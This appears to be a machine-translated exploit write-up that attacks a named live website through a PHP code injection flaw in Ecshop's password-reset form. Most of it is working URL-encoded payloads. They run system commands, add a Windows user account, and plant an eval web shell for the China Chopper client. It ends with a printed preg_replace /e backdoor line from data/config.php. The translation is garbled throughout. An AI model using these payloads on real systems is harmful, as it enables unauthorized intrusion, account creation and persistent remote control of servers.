Ecshop Remote Code Execution Vulnerability

Php code injection
Target: http://www.cunlide.com/(possibly author's website)
Ecshop version looks like 09
Awvs scan has SQL injection, php code injection, and many other vulnerabilities.
Start experimenting with various exp fruitless
Does Php code injection need post to submit this egg pain point?
System permission
Act = forget_pwd & action = get_pwd & email =$ {@ print (system ('net user')} & user_name = furybijj
Fruitless

Remove the system and change the value to % 60.

Act = forget_pwd & action = get_pwd & email = $ % 7B @ print (% 60net user SUPPORT_388945a1 lifelongz % 60) % 7D & user_name = furybijj
Decisive success

In fact, this can also be directly connected with a kitchen knife.

Write down in Configuration:

Www.2cto.com
<O> act = forget_pwd & action = get_pwd & email =$ {eval ($ _ POST [test])} & user_name = furybijj </O>
The Code is as follows:

Act = forget_pwd & action = get_pwd & email = % 24% 7b % 40 print % 28% 60net % 20 user % 60% 29% 7d & user_name = furybijj

Act = forget_pwd & action = get_pwd & email = % 24% 7b % 40 eval % 28% 24_POST % 5 bfuck % 5d % 29% 7d & user_name = furybijj
The cause of the vulnerability is

Data/config. php

Define ('EC _ charset', 'utf-8 ');
@ Preg_replace ("/[email]/e", $ _ POST ['email '], "error"); # all evil